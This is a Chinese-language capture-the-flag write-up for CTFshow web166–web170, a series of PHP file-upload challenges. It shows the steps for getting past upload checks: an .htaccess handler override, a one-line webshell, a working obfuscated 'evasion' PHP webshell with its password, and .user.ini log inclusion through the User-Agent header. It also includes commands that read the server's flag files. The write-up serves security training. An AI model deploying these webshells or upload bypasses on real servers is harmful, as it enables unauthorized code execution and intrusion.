目录
1、web166
2、web167
3、web168
4、web169
5、web170
1、web166
查看源码,前端只让传 zip
上传 zip 成功后可以进行下载
随便搞一个压缩包,使用记事本编辑,在其内容里插入一句话木马:
上传该压缩包,上传成功后点击下载文件,使用 burpsuite 抓包:
我这里木马内容用的 request ,就在 get 里执行 ls 没什么问题,但是读取 flag 时识别有点问题,最好使用 post 请求,因此将请求方法改为 post ,将 file 的内容还原到上面。
读取 flag:
ctfshow{f98c6ba4-e71a-46bf-b7c3-846db8cc08d7}
后面发现转为 get 方法其实也是可以的,注意添加一个加号进行拼接,而不是用空格:
2、web167
提示:httpd
.htaccess 文件是 Apache HTTP 服务器的目录级配置文件,它允许用户覆盖 Web 服务器的系统范围设置,而无需修改全局配置文件(例如 httpd.conf 或 apache2.conf)。
这里我们可以通过上传 .htaccess 文件,其内容设置如下:
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这里先改为 jpg 上传绕过前端限制后再改回 .htaccess 放包:
这个配置文件上传成功后,就会使 jpg 后缀的文件都被当做 php 文件解析。
接下来我们直接将一句话木马改为 jpg 后缀上传:
点击下载文件即可访问到一句话木马:
空白,说明上传解析成功。
调用:
看一下上层目录:
读取 flag.php:
拿到 flag:ctfshow{ba49b0f7-b8f9-447d-b1d3-118311c3d829}
3、web168
前端还是只能传 png
使用 burpsuite 抓包,改后缀重放回显 null
什么都没有回显
做了一下 fuzz 测试:
单个的字符都是没问题的,但是合在一起传的内容就有问题,并不是像前面对内容进行过滤那样简单,查看提示:基础免杀。
经过测试,正常内容可以上传,并且对 php 文件没有后缀限制:
文件会被上传到 upload 目录下:
phpinfo 也可以正常上传并解析:
无论是正常的 php 代码还是短标签的格式:
测试关键字:eval、system、assert、$_POST
均返回 null,猜测应该是过滤掉了一些危险函数和关键字
做了一下拼接绕过:
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_REQUEST['cmd']);
?>
但是访问的时候报错:
看来不光是过滤关键字,这些高位函数在 PHP 配置中也被禁用了。
在网上找到了一个免杀的木马:
<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>
连接密码: TyKPuntU
调用:
查看上一层目录:
TyKPuntU=system('ls ../');
存在 flag.php 和 flagaa.php,先读取 flag.php:
TyKPuntU=system('tac ../flag.php');
不是,那么再读取 flagaa.php:
TyKPuntU=system('tac ../flagaa.php');
拿到 flag:ctfshow{eec273d2-c16e-4772-bc11-b9d3587af55b}
如果这里不上一句话木马,我们还可以使用反引号来执行命令:
<?=`ls ..`;
读取 flag:
<?=`tac ../flagaa.php`;
4、web169
高级免杀
前端只能传 zip,抓包绕过即可
但是在后端上传发现不行,这段 unicode 编码在前面遇到过,文件类型没对。
需要修改 content-type 为:image/png
至于文件后缀并不影响,php 也可以:
测一下上一题的木马,过不了:
这里直接把尖括号(大于小于号)都给毙掉了:
想直接写进去很难了,采用日志文件包含:
先上传配置文件 .user.ini,也需要改文件类型为 png 图片类型
可以上传成功,再在 ua 头里面插入我们希望执行的 php代码,再次发送:
访问 upload 目录,返回 403,应该是 upload 目录下没有 php 文件:
我们随便传一个上去:
访问 /upload/1.php
遇到报错:
可能前面传得太乱了,重启容器,重新传 php 文件和配置文件:
再次访问 /upload/1.php,可以看到 ls ../ 执行成功:
读取 flag:
拿到 flag:ctfshow{5e939b5c-d235-43ae-9b2b-22c0387a9278}
5、web170
终极免杀
方法与上一题一样,也是采用日志包含。
传配置文件:
这里的 payload 就直接读 flag 了:
传 php 文件:
这次直接传 index.php,内容为空,一会儿直接访问 upload 目录即可看到回显。
拿到 flag:ctfshow{719e6a2b-7309-4fe1-964b-8ba79bcbb809}
CTFshow-Web 入门系列的文件上传至此结束。
Myon,2024.7.11